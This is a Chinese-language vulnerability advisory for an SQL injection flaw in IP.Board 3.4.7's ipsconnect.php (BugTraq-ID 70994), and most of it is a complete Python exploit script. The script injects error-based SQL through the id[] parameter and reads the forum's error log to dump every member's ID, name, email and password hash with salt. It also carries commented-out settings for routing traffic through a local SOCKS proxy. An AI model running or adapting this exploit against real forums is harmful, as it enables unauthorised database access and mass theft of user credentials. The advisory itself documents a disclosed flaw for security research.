IP.Board \'ipsconnect.php\' SQL注入漏洞
发表日期:2014-11-26 16:18:51
IP.Board \'ipsconnect.php\' SQL注入漏洞
BugTraq-ID:70994
发布日期:2014-11-08
更新日期:2014-11-18
受影响系统:
Invision Power Board Invision Power Board
详细信息:
IP.Board是由PHP+MySQL架构的论坛程序。 IP.Board 3.4.7及其他版本没有有效过滤ipsconnect.php内的用户数据,在实现上存在sql注入漏洞,攻击者可利用此漏洞执行未授权数据库操作。
来源:
secthrowaway
测试方法:
警告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!secthrowaway ()提供了如下测试方法: #!/usr/bin/env python # Sunday, November 09, 2014 - secthrowaway () safe-mail net # IP.Board <= 3.4.7 SQLi (blind, error based); # you can adapt to other types of blind injection if \'cache/sql_error_latest.cgi\' is unreadable url = \'http://target.tld/forum/\' ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36" import sys, re # <socks> - http://sourceforge.net/projects/socksipy/ #import socks, socket #socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050) #socket.socket = socks.socksocket # </socks> import urllib2, urllib def inject(sql): try: urllib2.urlopen(urllib2.Request(\'%sinterface/ipsconnect/ipsconnect.php\' % url, data="act=login&idType=id&id[]=-1&id[]=%s" % urllib.quote(\'-1) and 1!="\\\'" and extractvalue(1,concat(0x3a,(%s)))#\\\'\' % sql), headers={"User-agent": ua})) except urllib2.HTTPError, e: if e.code == 503: data = urllib2.urlopen(urllib2.Request(\'%scache/sql_error_latest.cgi\' % url, headers={"User-agent": ua})).read() txt = re.search("XPATH syntax error: \':(.*)\'", data, re.MULTILINE) if txt is not None: return txt.group(1) sys.exit(\'Error [3], received unexpected data:\\n%s\' % data) sys.exit(\'Error [1]\') sys.exit(\'Error [2]\') def get(name, table, num): sqli = \'SELECT %s FROM %s LIMIT %d,1\' % (name, table, num) s = int(inject(\'LENGTH((%s))\' % sqli)) if s < 31: return inject(sqli) else: r = \'\' for i in range(1, s+1, 31): r += inject(\'SUBSTRING((%s), %i, %i)\' % (sqli, i, 31)) return r n = inject(\'SELECT COUNT(*) FROM members\') print \'* Found %s users\' % n for j in range(int(n)): print get(\'member_id\', \'members\', j) print get(\'name\', \'members\', j) print get(\'email\', \'members\', j) print get(\'CONCAT(members_pass_hash, 0x3a, members_pass_salt)\', \'members\', j) print \'----------------\'
解决办法:
厂商补丁:
Invision Power Board
--------------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.invisionpower.com/